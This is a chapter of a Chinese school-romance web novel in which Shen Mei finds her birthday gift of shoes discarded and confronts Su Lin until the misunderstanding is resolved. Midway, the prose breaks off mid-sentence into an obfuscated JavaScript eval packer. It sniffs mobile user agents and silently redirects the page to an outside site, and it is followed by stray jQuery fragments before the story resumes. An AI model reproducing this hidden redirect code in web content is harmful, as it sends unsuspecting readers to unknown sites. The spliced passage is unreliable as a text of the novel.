20. 脾气(二)

作品:《才不要当你的死对头

    泡面桶倒在垃圾桶旁边,流出浑浊的汤液,散发出阵阵酸臭味。


    那黄褐色的汤汁已经侵入了纸盒子的底部边缘,不用拎起来看,都能想象到它的底部已经全部沾染了粘稠的液体。


    离了大树的遮挡,刺眼的光线毫无阻碍地落在盒子表面,上面的订单贴纸已经有些看不清楚,姓名和地址都被人用油性笔涂黑了。


    可她还是认出来了。


    咬着的下唇慢慢的有些发颤,浓烈的臭味萦绕在她鼻尖,想吐的冲动在胃里翻涌着。


    她蹲下去,指尖颤动着小心掀开那盖子。在看到那双鞋的时候,她的手僵在了半空中,久久没有说话。


    她听到林雪扬在她耳边很困惑地说:“这么新的鞋,看起来不便宜,怎么被人丢在这里。”


    世界天旋地转。蹲久了的小腿开始有些发麻,后来林雪扬说了什么她都听不清楚了。


    怎么被人丢在这里,怎么被他丢在这里。


    这是她攒了几个月的钱给他补的生日礼物,她没有动用爸爸留给她的那笔钱,也没有用苏景行每月给她的零花钱,就是想让这个礼物更有意义一些,想让他每次想起,都能想到她。


    她突然想到苏凛当时看到这个礼物的第一反应是生气。他不喜欢这个礼物么,那为什么又第二天穿上,穿给她看?


    他不喜欢这个礼物,又为什么要把它丢在学校,丢在她可以看见的地方。


    不理解,她不理解他这么做是为什么。凭什么不珍惜她送的礼物?


    她必须问个清楚。


    猛地从地上站起来,忍着涌上来的头晕,她把黑色塑料袋“砰”的一声摔在成堆的垃圾里。


    太过用力,几个饮料瓶骨碌骨碌从那裂开的口子里跌落,掉在地上发出哐哐当当的响声。


    “沈湄,你怎么了,你要去哪!哎,你跑这么快不等我吗!”


    ...


    *


    芫宁一中在老城区,学校正对着的便是旧楼。年久失修的楼房早已没有人住,斑驳的水管上爬满黄渍,渗出的水滴答滴答掉在地上。


    比楼房更岌岌可危的是旁边有一棵歪脖子树,枝条长得像是随时要挥舞到行人脸上。


    沈湄将他拉到树下,用力一甩,冷笑道:“苏凛,你这副假惺惺的模样.....”


    吸了吸鼻子,眼眶却慢慢地发热,艰涩的泪像是快要溢出来。


    苏凛的眉头一瞬间蹙了起来,被她甩开的手僵持在半空中,一副不知所措的模样。


    倘若是在平时,她也许会相信他是不知情的,可今日之事,她无法说服自己不去在意。


    他定是故意而为,现下又装作不知道。但他这样做的缘由又是什么呢,总不能是察觉到她对他的非分之想,所以用这样的方式推开她。


    而明明说狠话的人是她,可她能想象到自己现在一定是委屈的神情。


    她不想露怯,于是又抱起双手来,将后半句话吐完:“专是做给我看的?”


    然而声线却不可抑制地在发着抖,唇角的状态很怪,像是想要向下,又极力克制住要向上。


    苏凛的眼皮低垂着,默然片刻,又抬眼道:“你知道了?”话刚说完,他又见她的胸膛小幅度地抽动着,细密的睫毛沾上泪,不停地颤啊颤,像是难受到无法呼吸一般。


    他顿时也心里一痛,手指蜷曲了下。她知道他为了赶跑李至,故意撩拨她的事情了么...还是说他的心思太过明显,她一时间适应不了么。


    可他的靠近会让她这么难受,难受的想哭。


    “对,我知道了。你不喜欢我送的礼物,为何不直接还给我,还要假惺惺的在我面前穿两天?又丢在我能看到的地方?”


    “...?”


    沈湄自嘲般笑道:“还要装吗?今天我便要告诉你,喜欢就是喜欢,讨厌就是讨厌。你自以为模棱两可的态度可以平衡所有事情么,不可能!”


    马路上冷冷清清,丝丝缕缕的凉风透进校服外套,几片落叶在空中落寞地旋转了下又打回地面。


    她的心情越来越惨淡起来,尤其是见他如同木头一样的反应,想来真是被她说中了!


    她咬了咬唇,别过头去不愿再看他,手指却一下一下地揉搓着衣袖。


    可她又无端生出些不甘心来,他若讨厌她,那先前他们一起经历的那些又算什么。


    想着想着,眼眶又开始发起酸了,她只能干瞪着,害怕一眨眼就会掉下泪来。


    他一定都看到她的表情了,却什么也不说,真是狠心。


    苏凛默默听着她发泄般的话语,半晌,终于眉心顿了顿,缓缓道:“还有么?”


    “你想听什么?你在其他方面不也一样模棱两可么?别让我骂你!”她愤愤说。


    闻言,他却笑了,唇角勾了勾。


    只见她腮颊都鼓了起来,看来真是生气极了。他手轻轻捻断绿色的嫩叶,见那白色的汁水滴在指尖,心情莫名地很好。


    然而想到他这样子在她眼里和落井下石无异,就又收起了嘴角。


    他明知这是个误会,却不想这么早解释,只想她多朝他发泄一会。


    很早以前,他便觉得她忍耐得很辛苦。他分明是误会了她进他房间拿笔记本的,可当他知道真相后找她道歉,她那副受了委屈又强忍着绽开一个笑的模样,实在让他心里很不好受。


    他也说不清楚那种感觉,总之是无力的,又愤恨的。


    他失眠的晚上时常在试图想象她从前经历的种种


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823825|175305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,然而脑海里的印象却只有在家属大院里她扎着冲天辫对他颐指气使的,以及现在她短发乖巧的模样。


    可他知道,她一点也不乖。


    苏凛半靠在树干上,微风将他额前刘海分开了些,他又笑道:“我以为那是梁芙让你转交的。”


    在她一脸震惊地转过头来,要开口骂他之前,又补充:“我平衡不好的,那你呢?”


    话音刚落,她便住了嘴,想说的全都瞬间便堵了回去。她慢慢移开视线,抱起的手放了下来,又晃悠了下,最后插进外套口袋里。


    她心里不安地想,他问的是什么问题,问的是什么,她明明知道问的是什么,又要不停地在心里发问,企图说服自己他只是一句平常话。


    脸颊同时开始发着烫了,风吹过来的时候也只是吹动了她鬓间碎发,她鼻间的呼吸一波比一波更加滚烫!


    他却很耐心似的,一直等她开口。待她终于平息了些,脸颊凉飕飕时,转过去,又撞上他挑逗般的眼神。


    “总之我和你不一样。”她恨恨说。


    他又笑道:“你怎么就知道我和你不一样?我倒觉得我也不是在所有事情上都模棱两可。”见淡淡的粉红如三月的春一样攀上她脸颊,他顿了顿脚,这回终于忍不住解释了:“你送的,我都喜欢,走吧。”


    却没有告诉她,如果他早些知道是她送的,连穿都不会舍得,只是放在房间里天天看。


    然而沈湄却越想越生气,那天她还冒着和未来继母关系闹僵的风险,帮他说了句话。


    就算是误会,他连一句问都不问。


    刚想开口骂他一句,被他忽地拉住了手腕往回走。


    她有些不自在,微微抽动了下手腕,嘀咕着:“带我去哪?”


    离学校的门闸越来越近,她其实知道他要带她回去捡鞋,但心里却还是委屈得厉害,快要皱巴巴了一般。


    前面那人却好像察觉到她的异动,稍微用了一点力往下摁了摁。


    “讨厌?”他不回复她,没头没尾地问了句。


    “讨厌,全世界最讨厌你。”她却不假思索地接了话头。


    若是别人听了这对话,怕是听的一头雾水。


    然而此时紫荆花的花瓣随风飘落下来,掉在沥青路上。榕树根前堆了厚厚一叠黄叶,时不时会有悉悉窣窣的声音混杂在其中,给孤寂的秋日平添许多生机。


    苏凛嗔笑一声,眼尾也弯了起来。


    身后那人几乎是没有要往前走的意思,被他牵动着,却也没松。


    他承认他现在开心的不得了,惟一有些不好的便是因为他做错了事情,她才朝他发泄。


    若是别人惹了她,她再朝他发泄,他会...


    嗯,更欣喜若狂。